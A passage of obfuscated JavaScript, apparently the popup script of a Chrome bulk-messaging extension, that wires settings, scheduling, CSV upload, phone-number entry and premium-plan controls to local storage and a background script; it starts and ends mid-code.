    lWHgz: function (T, f) {
      return T(f);
    },
    CzHgR: "off",
    gvLll: "aggressive",
    ZHQpi: "#country-code-input-2",
    VGwbP: "#premium_country_selector_container",
    vivFF: "hide",
    BunZa: function (T, f) {
      return T + f;
    },
    lzMkb: "#premium_number_input",
    wpRQy: function (T) {
      return T();
    },
    tIrnY: function (T, f) {
      return T == f;
    },
    RAsjY: function (T, f) {
      return T === f;
    },
    qonie: "#transfer_premium_error",
    NuVUS: "block",
    tOYzq: "transfer_premium",
    xKXQC: "Monthly",
    lhhKA: ".premium_features_parent_div",
    xBYLC: "popup_functionality",
    Nsnzq: "none",
    TtKif: "show_premium_features",
    vIIeN: "select_functionality_container",
    WeEap: "active",
    VOUMy: "select_premium_container",
    gvtfT: "#fff",
    USKPh: "logo/plus\x20(1).png",
    Lpdsx: "ps-logo-right",
    pKWqL: function (T) {
      return T();
    },
    wQNhG: "#show_country_selector",
    iTeBL: "#request_transfer_btn",
    QFeAP: "click",
    NriSU: "plan_details",
    ISAbt: "customer_email",
    CwOQO: "add_business_img",
    YmwJk: "logo/user-2.png",
    ySIed: function (T) {
      return T();
    },
    WaXfi: function (T) {
      return T();
    },
    EwZHC: "plan_duration",
    UeQvu: "add_business_text",
    tEBnR: "black_background",
    fITyP: ".premium_feature_block",
    gPsCf: "flex",
    ViQue: "logo/user-1.png",
    GycuE: "logo/logo-text-light.png",
    YbhdA: "logo/plus.png",
    UKfJn: "select_functionality",
    sOgjh: "#62D9C7",
    Dbldw: function (T, f) {
      return T(f);
    },
    laFSx: "create_csv_input",
    vtLse: function (T, f) {
      return T(f);
    },
    ZhdXs: "csv_uploaded",
    hzRNp: function (T, f) {
      return T !== f;
    },
    mjdQV: ":checked",
    lgUWk: "time_gap_type",
    XrneF: "premiumUsageObject",
    KfPiO: "#batch_checked",
    lMmiC: "batch_info",
    ppAmB: function (T) {
      return T();
    },
    gXfQN: function (T, f) {
      return T(f);
    },
    bdSzv: "1|4|0|2|3|5",
    iYtaH: "#slider_time_gap_sec",
    vVxvJ: "#time_gap_sec",
    qpcYA: "time_gap",
    ajtWI: function (T) {
      return T();
    },
    loGxv: function (T, f) {
      return T > f;
    },
    bwoVh: function (T, f) {
      return T - f;
    },
    GnfRD: function (T, f) {
      return T(f);
    },
    MsuYo: function (T, f) {
      return T(f);
    },
    mDSSY: "#batch_size",
    EaYLx: "#slider_batch_size",
    ekgMJ: function (T, f) {
      return T(f);
    },
    OkaBs: "#batch_gap",
    jYQWA: "#slider_batch_gap",
    FDewH: function (T, f) {
      return T == f;
    },
    EeDhZ: "add_attachments",
    zbeHO: "help_popup",
    HxRWD: "first_visit_attachment",
    aEgwT: "first_attachment_click_count",
    FzgpZ: "chat_link_info_popup",
    MZzsh: "textarea#numbers",
    xsSGr: "textarea#message",
    UYuul: function (T, f) {
      return T(f);
    },
    JBQqU: "message_changed",
    yuKDn: "#time_gap",
    USfBl: "#customization",
    rQWfz: "customization_added",
    Cfnll: function (T, f) {
      return T + f;
    },
    WdmFP: "\x20{{",
    DqNrn: "1|2|4|0|3",
    fSUOr: "schedule_message_div",
    EXpey: "schedule",
    ebOBZ: "#schedule_time_div",
    SOHVN: "3|4|1|0|2",
    NHBBE: "#schedule_day_div",
    xEfvE: "sender",
    wfmew: "#schedule_time",
    EtUbG: "survey",
    eoxmm: function (T, f) {
      return T(f);
    },
    dQjRi: "survey_click",
    CicGU: "_blank",
    UARhS: "5|7|6|3|2|1|4|0",
    ESZWV: "my_number_submit",
    Uwidg: "confirm_number_popup",
    gPkEA: "#my_number_code",
    HyKVZ: function (T, f) {
      return T && f;
    },
    mWWqI: "#my_number",
    gTHke: "4|1|0|3|2",
    KhpWq: function (T, f) {
      return T(f);
    },
    OloUn: "confirm_number_submit",
    eoOnN: "add_number_popup",
    EGiRT: function (T, f) {
      return T(f);
    },
    EzAPT: "edit_number_submit",
    LIPbr: function (T, f) {
      return T(f);
    },
    yhxsS: "unsubscribe",
    ioTBp: "https://prime-sender.com/pricing/",
    bEmys: "learn_schedule",
    OiPeY: function (T, f) {
      return T(f);
    },
    WAbKq: "captionForIndividualAttachment",
    WZGDh: function (T, f) {
      return T - f;
    },
    HrIDx: function (T, f) {
      return T != f;
    },
    Ofwig: function (T, f, b) {
      return T(f, b);
    },
    BXnQX: function (T, f, b) {
      return T(f, b);
    },
    aWqkb: function (T, f) {
      return T >= f;
    },
    MQAkr: "#schedule_campaign_error2",
    yKqMF: function (T, f, b) {
      return T(f, b);
    },
    htaKI: "attachmentsData",
    dSZYA: "Campaign-",
    nWgFF: function (T, f, b, O) {
      return T(f, b, O);
    },
    CmDqC: function (T, f, b, O, i, e) {
      return T(f, b, O, i, e);
    },
    lyySR: function (T, f) {
      return T(f);
    },
    WARUe: "#caption_customization",
    sdtnL: "numbers",
    kxFwo: "#schedule_day",
    YuqNZ: "#attachments-container",
    AFqxQ: function (T, f) {
      return T === f;
    },
    DIiyp: function (T, f) {
      return T(f);
    },
    nmGWv: "#time_gap_type\x20input[type=\x27radio\x27]:checked",
    ePVlM: "random",
    ZdnzS: function (T, f) {
      return T(f);
    },
    GLHKC: function (T, f) {
      return T(f);
    },
    DerBQ: "Please\x20enter\x20numbers\x20to\x20send",
    SbGVP: function (T, f) {
      return T == f;
    },
    VEXwt: function (T, f) {
      return T == f;
    },
    kZLdd: "contacts",
    yuQxL: function (T, f) {
      return T(f);
    },
    SUFCR: "Please\x20select\x20contacts\x20to\x20send",
    WohgY: function (T, f) {
      return T == f;
    },
    riYhm: "Please\x20enter\x20message\x20or\x20attachment",
    wsKSm: function (T, f) {
      return T(f);
    },
    rDAlt: "Schedule\x20time\x20can\x27t\x20be\x20blank",
    Dcmdw: "scheduled_campaigns",
    mUhPB: function (T, f) {
      return T(f);
    },
    uMxpM: "show_advance_popup",
    KKkHG: function (T, f) {
      return T(f);
    },
    kyWaJ: "#sender",
    owqsT: function (T, f) {
      return T(f);
    },
    zDmWQ: "#help",
    Lyaqj: function (T, f) {
      return T(f);
    },
    wYIIc: "#how_to_use",
    kBAPl: "#request_chat_premium",
    mYBvY: function (T, f) {
      return T(f);
    },
    JgFPy: function (T, f) {
      return T(f);
    },
    rbTuA: "#select_premium_features",
    LHSoR: function (T, f) {
      return T(f);
    },
    XhRPk: "#select_functionality",
    KWSbQ: "#csv",
    iOVly: "change",
    ynlrB: function (T, f) {
      return T(f);
    },
    SmQdp: "#time_gap_checked",
    knXpV: function (T, f) {
      return T(f);
    },
    FWdIS: function (T, f) {
      return T(f);
    },
    esWDe: "#random",
    fQAjW: function (T, f) {
      return T(f);
    },
    RgKeO: "#time_gap_type\x20input[type=radio]",
    vYXuw: function (T, f) {
      return T(f);
    },
    LDYtM: ".help_popup_okay",
    tJMbS: function (T, f) {
      return T(f);
    },
    NzrvL: "#chat_link_info_popup_okay",
    RDGEE: "#message",
    Ykqar: "#customized_arr",
    KkWKk: function (T, f) {
      return T(f);
    },
    ixoax: "#schedule_checkbox",
    TRcvG: function (T, f) {
      return T(f);
    },
    ZlHev: function (T, f) {
      return T(f);
    },
    iJXkg: "#survey_click",
    LRoVD: function (T, f) {
      return T(f);
    },
    yHvEf: "#my_number_submit",
    jrRBC: function (T, f) {
      return T(f);
    },
    QaZPS: "#confirm_number_submit",
    DZmfc: "#edit_number_submit",
    DrXUJ: function (T, f) {
      return T(f);
    },
    nBYpH: "#unsubscribe",
    DILye: "#learn_schedule",
    Dtzrs: function (T, f) {
      return T(f);
    },
  };
  c["KKkHG"]($, c["kyWaJ"])["click"](function () {
    if (
      c["SfrRv"](plan_type, c["oZhGt"]) &&
      (c["SfrRv"](last_plan_type, "Basic") || last_plan_type == "Advance")
    ) {
      c["hGZJJ"](sendMessageToBackground, {
        type: c["peDRe"],
        feature: c["JQJPM"],
      }),
        window["close"]();
      return;
    }
    messagePreparation(), trackButtonClick("send_message");
  }),
    c["owqsT"]($, c["zDmWQ"])["click"](function () {
      c["hGZJJ"](sendMessageToBackground, { type: c["BPUKF"] }),
        c["hGZJJ"](trackButtonClick, c["BPUKF"]),
        window["close"]();
    }),
    c["Lyaqj"]($, c["wYIIc"])["click"](function () {
      c["hGZJJ"](trackButtonClick, c["BYPgp"]),
        c["NfhBO"](messageToggleSwitchValue, "numbers") &&
          document["querySelector"](c["HskzS"])["click"](),
        c["hGZJJ"](driver, translatedSendObj)["drive"]();
    }),
    c["lyySR"]($, c["kBAPl"])["click"](function () {
      const T = {};
      (T["type"] = c["NiAUU"]),
        sendMessageToBackground(T),
        c["hGZJJ"](trackButtonClick, c["NiAUU"]);
    }),
    c["mYBvY"]($, "#request_zoom_premium")["click"](function () {
      isAdvanceFeatureAvailable()
        ? (c["hGZJJ"](sendMessageToBackground, { type: c["tzNTW"] }),
          c["BFjbl"](trackButtonClick, c["tzNTW"]))
        : c["BFjbl"](sendMessageToBackground, {
            type: "show_advance_popup",
            feature: c["JviAM"],
          }),
        window["close"]();
    }),
    $("#request_call_premium")["click"](function () {
      c["hGZJJ"](sendMessageToBackground, { type: c["XVzkD"] }),
        c["lWHgz"](trackButtonClick, c["XVzkD"]);
    }),
    $("#chat_link")["click"](function () {
      const T = {};
      (T["type"] = "chat_link"),
        c["lWHgz"](sendMessageToBackground, T),
        window["close"]();
    });
  function p() {
    const T = document["querySelector"]("#country-code-input-2"),
      f = country_info["name_code"],
      b = f === "XX" ? [f] : ["XX", f],
      O = {};
    (O["separateDialCode"] = !![]),
      (O["autoHideDialCode"] = ![]),
      (O["autoPlaceholder"] = c["CzHgR"]),
      (O["initialCountry"] = f),
      (O["preferredCountries"] = b),
      (O["autoPlaceholder"] = c["gvLll"]),
      (O["utilsScript"] = "library/intlTelInput.utils.js");
    const i = O;
    window["intlTelInput"](T, i);
  }
  function g() {
    const T = document["querySelector"](c["ZHQpi"]),
      f = window["intlTelInputGlobals"]["getInstance"](T);
    let { name: b, iso2: O, dialCode: i } = f["getSelectedCountryData"]();
    return i;
  }
  c["JgFPy"]($, c["rbTuA"])["click"](async function () {
    const T = {
      jvIrZ: c["lzMkb"],
      rwOHc: function (b) {
        return c["wpRQy"](b);
      },
      uTvJI: function (b, O) {
        return c["tIrnY"](b, O);
      },
      HMLae: function (b, O) {
        return c["RAsjY"](b, O);
      },
      rICmk: c["qonie"],
      HCqkK: c["NuVUS"],
      EqSSR: "none",
      nMEoF: function (b, O) {
        return b(O);
      },
      kZBze: c["tOYzq"],
      YcApu: function (b, O) {
        return c["SfrRv"](b, O);
      },
      qdFWe: c["xKXQC"],
      gszPI: ".invoice_feature_block",
      tcvmf: "flex",
    };
    document["querySelector"](c["lhhKA"])["classList"]["add"](
      "black_background"
    ),
      (document["getElementById"](c["xBYLC"])["style"]["display"] = c["Nsnzq"]),
      (document["getElementById"](c["TtKif"])["style"]["display"] = "block"),
      document["getElementById"](c["vIIeN"])["classList"]["remove"](c["WeEap"]),
      document["getElementById"](c["VOUMy"])["classList"]["add"](c["WeEap"]),
      (document["getElementById"]("add_business_text")["style"]["color"] =
        c["gvtfT"]),
      (document["getElementById"]("add_business_img")["src"] = c["USKPh"]),
      (document["getElementById"](c["Lpdsx"])["src"] = "logo/logo-text.png");
    (isBasic() || c["pKWqL"](isAdvance)) &&
      (document["querySelector"]("#transfer_premium_button")["style"][
        "display"
      ] = "flex");
    const f = document["querySelector"](c["wQNhG"]);
    if (f) {
      p();
      const b = document["querySelector"](c["iTeBL"]);
      b &&
        b["addEventListener"](c["QFeAP"], function () {
          const O = document["querySelector"](T["jvIrZ"])["value"];
          if (!O) return;
          let i = T["rwOHc"](g);
          if (i == "00") return;
          if (T["uTvJI"](i, "52")) i += "1";
          const e = "" + i + O;
          T["HMLae"](e, my_number)
            ? (document["querySelector"](T["rICmk"])["style"]["display"] =
                T["HCqkK"])
            : ((document["querySelector"](T["rICmk"])["style"]["display"] =
                T["EqSSR"]),
              T["nMEoF"](sendMessageToBackground, {
                type: T["kZBze"],
                message:
                  "Hi,\x20I\x20would\x20like\x20to\x20transfer\x20the\x20premium\x20from\x20+" +
                  my_number +
                  "\x20to\x20+" +
                  e,
              }),
              window["close"]());
        }),
        f["addEventListener"](c["QFeAP"], () => {
          const O = document["querySelector"](c["VGwbP"]);
          O &&
            (O["classList"]["toggle"](c["vivFF"]),
            (document["querySelector"]("#my_current_number")["innerText"] = c[
              "BunZa"
            ]("+", my_number)));
        });
    }
    if (c["SfrRv"](plan_type, "Expired")) {
      let O = getNonPremiumHeaderText() || "";
      (O = O["split"]("-")[0x0]),
        (document["getElementById"](c["NriSU"])["innerHTML"] =
          "<span\x20style=\x22font-weight:\x20700;\x22>" +
          O +
          "</span>\x20on\x20:\x20<span\x20style=\x22font-weight:\x20700;\x22>+" +
          my_number +
          "</span>");
    } else document["getElementById"](c["NriSU"])["innerHTML"] = "<span\x20style=\x22font-weight:\x20700;\x22>" + plan_type + "\x20plan</span>\x20enabled\x20on\x20:\x20<span\x20style=\x22font-weight:\x20700;\x22>+" + my_number + "</span>";
    (document["getElementById"](c["ISAbt"])["innerHTML"] = customer_email
      ? "Registered\x20email\x20:\x20<span\x20style=\x22font-weight:\x20700;\x22>" +
        customer_email +
        "\x20</span>"
      : ""),
      isPremium() &&
        (document["getElementById"](c["CwOQO"])["src"] = c["YmwJk"]),
      c["ySIed"](changeInputPercentage),
      c["WaXfi"](showFaqsSection),
     // await showBuyPremiumButtons(),
      chrome["storage"]["local"]["get"]([c["EwZHC"]], function (i) {
        i["plan_duration"] &&
          (T["YcApu"](i["plan_duration"], T["qdFWe"]) ||
            T["uTvJI"](plan_type, "Expired")) &&
          ((document["querySelector"](T["gszPI"])["style"]["display"] =
            T["tcvmf"]),
          T["rwOHc"](getInvoiceData));
      });
  }),
    c["LHSoR"]($, c["XhRPk"])["click"](function () {
      const T = "2|1|4|8|5|0|9|6|3|7"["split"]("|");
      let f = 0x0;
      while (!![]) {
        switch (T[f++]) {
          case "0":
            document["getElementById"](c["UeQvu"])["style"]["color"] =
              "#009A88";
            continue;
          case "1":
            document["getElementById"](c["xBYLC"])["style"]["display"] =
              c["NuVUS"];
            continue;
          case "2":
            document["querySelector"](c["lhhKA"])["classList"]["remove"](
              c["tEBnR"]
            );
            continue;
          case "3":
            isPremium() &&
              ((document["querySelector"](c["fITyP"])["style"]["display"] =
                c["gPsCf"]),
              (document["getElementById"](c["CwOQO"])["src"] = c["ViQue"]));
            continue;
          case "4":
            document["getElementById"](c["TtKif"])["style"]["display"] = "none";
            continue;
          case "5":
            document["getElementById"]("select_premium_container")["classList"][
              "remove"
            ](c["WeEap"]);
            continue;
          case "6":
            document["getElementById"](c["Lpdsx"])["src"] = c["GycuE"];
            continue;
          case "7":
            continue;
          case "8":
            document["getElementById"](c["vIIeN"])["classList"]["add"](
              c["WeEap"]
            );
            continue;
          case "9":
            document["getElementById"](c["CwOQO"])["src"] = c["YbhdA"];
            continue;
        }
        break;
      }
    }),
    $("#back_to_functionality")["click"](function () {
      (document["getElementById"](c["xBYLC"])["style"]["display"] = "block"),
        (document["getElementById"](c["TtKif"])["style"]["display"] =
          c["Nsnzq"]),
        (document["getElementById"](c["UKfJn"])["style"]["background"] =
          c["sOgjh"]);
    }),
    c["mUhPB"]($, "#csv")["on"](c["QFeAP"], function (T) {
      isLinux &&
        (c["Dbldw"](sendMessageToBackground, { type: c["laFSx"] }),
        T["preventDefault"](),
        window["close"]());
    }),
    c["ekgMJ"]($, c["KWSbQ"])["on"](c["iOVly"], function (T) {
      var f = document["getElementById"]("csv")["files"][0x0];
      f &&
        (set_csv_styles(f["name"]),
        c["pKWqL"](showCustomizeContainer),
        c["vtLse"](showCaptionCustomizationContainer, !![])),
        c["hGZJJ"](process_sheet_data, T),
        c["Dbldw"](trackButtonClick, c["ZhdXs"]);
    }),
    c["ynlrB"]($, c["SmQdp"])["on"]("change", function () {
      const T = {
        orUEY: function (i, e) {
          return c["hzRNp"](i, e);
        },
      };
      var f = $("#time_gap_checked")["is"](c["mjdQV"]),
        b = f ? c["gPsCf"] : c["Nsnzq"];
      document["getElementById"](c["lgUWk"])["style"]["display"] = b;
      const O = {};
      (O["time_gap_checked"] = f),
        chrome["storage"]["local"]["set"](O),
        f &&
          chrome["storage"]["local"]["get"]([c["XrneF"]], function (i) {
            if (T["orUEY"](i["premiumUsageObject"], undefined)) {
              const e = { ...i["premiumUsageObject"] };
              e["timeGap"] = !![];
              let s = e;
              const o = {};
              (o["premiumUsageObject"] = s),
                chrome["storage"]["local"]["set"](o);
            }
          });
    }),
    c["knXpV"]($, c["KfPiO"])["on"](c["iOVly"], function () {
      const T = {
        ePELQ: function (e, s) {
          return c["hzRNp"](e, s);
        },
      };
      var f = $(c["KfPiO"])["is"](c["mjdQV"]),
        b = f ? "grid" : "none";
      document["getElementById"](c["lMmiC"])["style"]["display"] = b;
      const O = {};
      O["batch_checked"] = f;
      if (c["ppAmB"](isPremiumFeatureAvailable))
        chrome["storage"]["local"]["set"](O);
      let i = c["gXfQN"]($, c["KfPiO"])["is"](c["mjdQV"]);
      i &&
        chrome["storage"]["local"]["get"](["premiumUsageObject"], function (e) {
          if (T["ePELQ"](e["premiumUsageObject"], undefined)) {
            const s = { ...e["premiumUsageObject"] };
            s["batching"] = !![];
            let o = s;
            const L = {};
            (L["premiumUsageObject"] = o), chrome["storage"]["local"]["set"](L);
          }
        });
    }),
    c["GnfRD"]($, c["iYtaH"])["on"](c["iOVly"], function () {
      const T = c["bdSzv"]["split"]("|");
      let f = 0x0;
      while (!![]) {
        switch (T[f++]) {
          case "0":
            var b = [
              0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xf, 0x14,
            ];
            continue;
          case "1":
            var O = document["querySelector"](c["iYtaH"]);
            continue;
          case "2":
            i["value"] = b[O["value"]];
            continue;
          case "3":
            time_gap = i["value"];
            continue;
          case "4":
            var i = document["querySelector"](c["vVxvJ"]);
            continue;
          case "5":
            if (c["pKWqL"](isPremiumFeatureAvailable)) {
              const e = {};
              (e["time_gap"] = time_gap), chrome["storage"]["local"]["set"](e);
            } else {
              const s = {};
              (s["type"] = c["peDRe"]),
                (s["feature"] = c["qpcYA"]),
                sendMessageToBackground(s),
                window["close"]();
            }
            continue;
        }
        break;
      }
    }),
    c["FWdIS"]($, c["vVxvJ"])["on"](c["iOVly"], function () {
      if (c["ajtWI"](isPremiumFeatureAvailable)) {
        var T = document["querySelector"](c["vVxvJ"])["value"],
          f = [0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xf, 0x14];
        if (f["includes"](parseInt(T))) {
          const O = f["indexOf"](c["BFjbl"](parseInt, T));
          document["querySelector"](c["iYtaH"])["value"] = O;
        } else {
          if (c["loGxv"](T, 0x14))
            document["querySelector"](c["iYtaH"])["value"] = c["bwoVh"](
              f["length"],
              0x1
            );
          else
            T == 0x0 &&
              ((document["querySelector"](c["iYtaH"])["value"] = 0x3),
              (document["querySelector"](c["vVxvJ"])["value"] = 0x3),
              (T = 0x3));
        }
        const b = {};
        (b["time_gap"] = T), chrome["storage"]["local"]["set"](b);
      } else c["GnfRD"](sendMessageToBackground, { type: c["peDRe"], feature: c["qpcYA"] }), window["close"]();
    }),
    c["gXfQN"]($, c["esWDe"])["on"](c["iOVly"], function () {
      !c["ppAmB"](isPremiumFeatureAvailable) &&
        (c["MsuYo"](sendMessageToBackground, {
          type: c["peDRe"],
          feature: "time_gap",
        }),
        window["close"]());
    }),
    c["fQAjW"]($, "#slider_batch_size")["on"](c["iOVly"], function () {
      var T = [
        0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xf, 0x14, 0x19, 0x1e,
        0x23, 0x28, 0x2d, 0x32,
      ];
      const f = document["querySelector"](c["mDSSY"]),
        b = document["querySelector"](c["EaYLx"]);
      f["value"] = T[b["value"]];
      var O = document["querySelector"](c["mDSSY"])["value"];
      const i = {};
      (i["batch_size"] = O), chrome["storage"]["local"]["set"](i);
    }),
    c["lyySR"]($, "#batch_size")["on"](c["iOVly"], function () {
      var T = document["querySelector"](c["mDSSY"])["value"],
        f = [
          0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xf, 0x14, 0x19,
          0x1e, 0x23, 0x28, 0x2d, 0x32,
        ];
      if (f["includes"](c["BFjbl"](parseInt, T))) {
        const O = f["indexOf"](c["ekgMJ"](parseInt, T));
        document["querySelector"]("#slider_batch_size")["value"] = O;
      } else {
        if (c["loGxv"](T, 0x32))
          document["querySelector"](c["EaYLx"])["value"] = c["bwoVh"](
            f["length"],
            0x1
          );
        else
          c["tIrnY"](T, 0x0) &&
            ((document["querySelector"](c["EaYLx"])["value"] =
              f["length"] - 0x1),
            (document["querySelector"](c["EaYLx"])["value"] = 0x32),
            (T = 0x32));
      }
      const b = {};
      (b["batch_size"] = T), chrome["storage"]["local"]["set"](b);
    }),
    $(c["jYQWA"])["on"]("change", function () {
      var T = [
        0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xf, 0x14, 0x19, 0x1e,
        0x23, 0x28, 0x2d, 0x32,
      ];
      const f = document["querySelector"](c["OkaBs"]),
        b = document["querySelector"](c["jYQWA"]);
      f["value"] = T[b["value"]];
      var O = document["querySelector"]("#batch_gap")["value"];
      const i = {};
      (i["batch_gap"] = O), chrome["storage"]["local"]["set"](i);
    }),
    $(c["OkaBs"])["on"](c["iOVly"], function () {
      var T = document["querySelector"]("#batch_gap")["value"],
        f = [
          0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xf, 0x14, 0x19,
          0x1e, 0x23, 0x28, 0x2d, 0x32,
        ];
      if (f["includes"](c["ekgMJ"](parseInt, T))) {
        const O = f["indexOf"](c["hGZJJ"](parseInt, T));
        document["querySelector"](c["jYQWA"])["value"] = O;
      } else {
        if (T > 0x32)
          document["querySelector"](c["jYQWA"])["value"] = c["bwoVh"](
            f["length"],
            0x1
          );
        else
          c["tIrnY"](T, 0x0) &&
            ((document["querySelector"](c["jYQWA"])["value"] = 0xd),
            (T = 0x1e));
      }
      const b = {};
      (b["batch_gap"] = T), chrome["storage"]["local"]["set"](b);
    }),
    $(c["RgKeO"])["on"]("change", function (T) {
      var f = T["target"]["value"];
      const b = {};
      (b["time_gap_type"] = f), chrome["storage"]["local"]["set"](b);
    }),
    $("#chat_link_info")["click"](function () {
      document["getElementById"]("chat_link_info_popup")["style"]["display"] =
        "block";
    }),
    c["vYXuw"]($, c["LDYtM"])["click"](function () {
      const T = {
        iUnJv: function (f, b) {
          return c["FDewH"](f, b);
        },
        EtZZL: function (f, b) {
          return f(b);
        },
        vhDdD: c["EeDhZ"],
      };
      (document["getElementById"](c["zbeHO"])["style"]["display"] = c["Nsnzq"]),
        chrome["storage"]["local"]["get"]([c["HxRWD"], c["aEgwT"]], (f) => {
          let b = f["first_attachment_click_count"];
          if (T["iUnJv"](b, 0x1)) {
            if (isLinux)
              T["EtZZL"](sendMessageToBackground, { type: T["vhDdD"] }),
                window["close"]();
            else $("#select-attachments")["click"]();
            const i = {};
            (i["first_attachment_click_count"] = -0x1),
              chrome["storage"]["local"]["set"](i);
          }
          let O = f["first_visit_attachment"];
          if (T["iUnJv"](O, !![])) {
            const e = {};
            (e["first_visit_attachment"] = ![]),
              chrome["storage"]["local"]["set"](e);
          }
        });
    }),
    c["tJMbS"]($, c["NzrvL"])["click"](function () {
      document["getElementById"](c["FzgpZ"])["style"]["display"] = c["Nsnzq"];
    }),
    c["wsKSm"]($, "#numbers")["on"](c["iOVly"], function (T) {
      var f = document["querySelector"](c["MZzsh"])["value"];
      const b = {};
      (b["popup_numbers"] = f),
        chrome["storage"]["local"]["set"](b),
        c["vtLse"](trackButtonClick, "number_changed");
    }),
    c["Dbldw"]($, c["RDGEE"])["on"]("change", function (T) {
      var f = document["querySelector"](c["xsSGr"])["value"];
      const b = {};
      (b["popup_message"] = f),
        chrome["storage"]["local"]["set"](b),
        c["UYuul"](trackButtonClick, c["JBQqU"]);
    }),
    $(c["yuKDn"])["on"]("change", function (T) {
      var f = document["querySelector"](c["yuKDn"])["value"];
      c["MsuYo"](trackButtonClick, "time_gap_chnaged");
    }),
    $(c["USfBl"])["on"](c["iOVly"], function (T) {
      const f = {
        YHcpk: function (i, s) {
          return c["hzRNp"](i, s);
        },
      };
      var b = document["querySelector"](c["USfBl"])["checked"];
      const O = {};
      (O["customization"] = b),
        chrome["storage"]["local"]["set"](O),
        c["gXfQN"](trackButtonClick, c["rQWfz"]),
        b &&
          chrome["storage"]["local"]["get"]([c["XrneF"]], function (i) {
            if (f["YHcpk"](i["premiumUsageObject"], undefined)) {
              const s = { ...i["premiumUsageObject"] };
              s["customisation"] = !![];
              let o = s;
              const L = {};
              (L["premiumUsageObject"] = o),
                chrome["storage"]["local"]["set"](L);
            }
          });
    }),
    c["owqsT"]($, c["Ykqar"])["on"]("change", function (T) {
      const f = "4|2|0|1|3"["split"]("|");
      let b = 0x0;
      while (!![]) {
        switch (f[b++]) {
          case "0":
            O += c["Cfnll"](c["WdmFP"] + i, "}}");
            continue;
          case "1":
            document["querySelector"]("textarea#message")["value"] = O;
            continue;
          case "2":
            var O = document["querySelector"]("textarea#message")["value"];
            continue;
          case "3":
            const s = {};
            (s["popup_message"] = O), chrome["storage"]["local"]["set"](s);
            continue;
          case "4":
            var i = document["querySelector"]("#customized_arr")["value"];
            continue;
        }
        break;
      }
    }),
    c["KkWKk"]($, c["ixoax"])["on"]("change", function (T) {
      const f = T["target"]["checked"];
      if (f) {
        const b = c["DqNrn"]["split"]("|");
        let O = 0x0;
        while (!![]) {
          switch (b[O++]) {
            case "0":
              document["querySelector"]("#schedule_day_div")["style"][
                "display"
              ] = c["gPsCf"];
              continue;
            case "1":
              document["getElementById"](c["fSUOr"])["hidden"] = ![];
              continue;
            case "2":
              document["getElementById"](c["EXpey"])["hidden"] = ![];
              continue;
            case "3":
              document["querySelector"](c["ebOBZ"])["style"]["display"] =
                c["gPsCf"];
              continue;
            case "4":
              document["getElementById"]("sender")["hidden"] = !![];
              continue;
          }
          break;
        }
      } else {
        const i = c["SOHVN"]["split"]("|");
        let s = 0x0;
        while (!![]) {
          switch (i[s++]) {
            case "0":
              document["querySelector"](c["NHBBE"])["style"]["display"] =
                c["Nsnzq"];
              continue;
            case "1":
              document["getElementById"](c["xEfvE"])["hidden"] = ![];
              continue;
            case "2":
              document["querySelector"](c["ebOBZ"])["style"]["display"] =
                c["Nsnzq"];
              continue;
            case "3":
              document["getElementById"](c["fSUOr"])["hidden"] = !![];
              continue;
            case "4":
              document["getElementById"](c["EXpey"])["hidden"] = !![];
              continue;
          }
          break;
        }
      }
    }),
    c["TRcvG"]($, "#schedule_time")["on"](c["iOVly"], function (T) {
      var f = document["querySelector"](c["wfmew"])["value"];
      const b = {};
      (b["schedule_time"] = f), chrome["storage"]["local"]["set"](b);
    }),
    c["ZlHev"]($, c["iJXkg"])["click"](function () {
      document["getElementById"](c["EtUbG"])["style"]["display"] = c["Nsnzq"];
      const T = {};
      (T["survey_click"] = !![]),
        chrome["storage"]["local"]["set"](T),
        c["eoxmm"](trackButtonClick, c["dQjRi"]),
        window["open"]("https://forms.gle/uWMMreyGvkGozURb9", c["CicGU"]);
    }),
    c["LRoVD"]($, c["yHvEf"])["click"](function () {
      const T = c["UARhS"]["split"]("|");
      let f = 0x0;
      while (!![]) {
        switch (T[f++]) {
          case "0":
            document["getElementById"]("confirm_my_number")["innerText"] = c[
              "BunZa"
            ]("+", my_number);
            continue;
          case "1":
            document["getElementById"]("add_number_popup")["style"]["display"] =
              c["Nsnzq"];
            continue;
          case "2":
            c["MsuYo"](trackButtonClick, c["ESZWV"]);
            continue;
          case "3":
            my_number = c["BunZa"]("" + b, O)["replace"]("+", "");
            continue;
          case "4":
            document["getElementById"](c["Uwidg"])["style"]["display"] =
              c["NuVUS"];
            continue;
          case "5":
            var b = document["querySelector"](c["gPkEA"])["value"];
            continue;
          case "6":
            if (!c["HyKVZ"](b, O)) return;
            continue;
          case "7":
            var O = document["querySelector"](c["mWWqI"])["value"];
            continue;
        }
        break;
      }
    }),
    c["jrRBC"]($, c["QaZPS"])["click"](function () {
      const T = c["gTHke"]["split"]("|");
      let f = 0x0;
      while (!![]) {
        switch (T[f++]) {
          case "0":
            c["KhpWq"](trackButtonClick, c["OloUn"]);
            continue;
          case "1":
            const b = {};
            (b["my_number"] = my_number), chrome["storage"]["local"]["set"](b);
            continue;
          case "2":
            window["close"]();
            continue;
          case "3":
            const O = {};
            (O["type"] = "fetch_plan_details"),
              c["UYuul"](sendMessageToBackground, O);
            continue;
          case "4":
            document["getElementById"](c["Uwidg"])["style"]["display"] =
              c["Nsnzq"];
            continue;
        }
        break;
      }
    }),
    c["fQAjW"]($, c["DZmfc"])["click"](function () {
      (document["getElementById"]("confirm_number_popup")["style"]["display"] =
        c["Nsnzq"]),
        (document["getElementById"](c["eoOnN"])["style"]["display"] = "block"),
        c["EGiRT"](trackButtonClick, c["EzAPT"]);
    }),
    c["DrXUJ"]($, c["nBYpH"])["click"](function () {
      c["LIPbr"](sendMessageToBackground, { type: c["yhxsS"] }),
        c["KhpWq"](trackButtonClick, "unsubscribe");
    }),
    c["jrRBC"]($, "#buy_premium_popup")["click"](function () {
      trackButtonClick("buy_premium_popup"),
        window["open"](c["ioTBp"], "_blank");
    }),
    c["lyySR"]($, c["DILye"])["click"](function () {
      c["MsuYo"](sendMessageToBackground, { type: c["bEmys"] }),
        c["BFjbl"](trackButtonClick, "learn_schedule");
    }),
    c["Dtzrs"]($, "#schedule")["click"](function () {
      const T = {
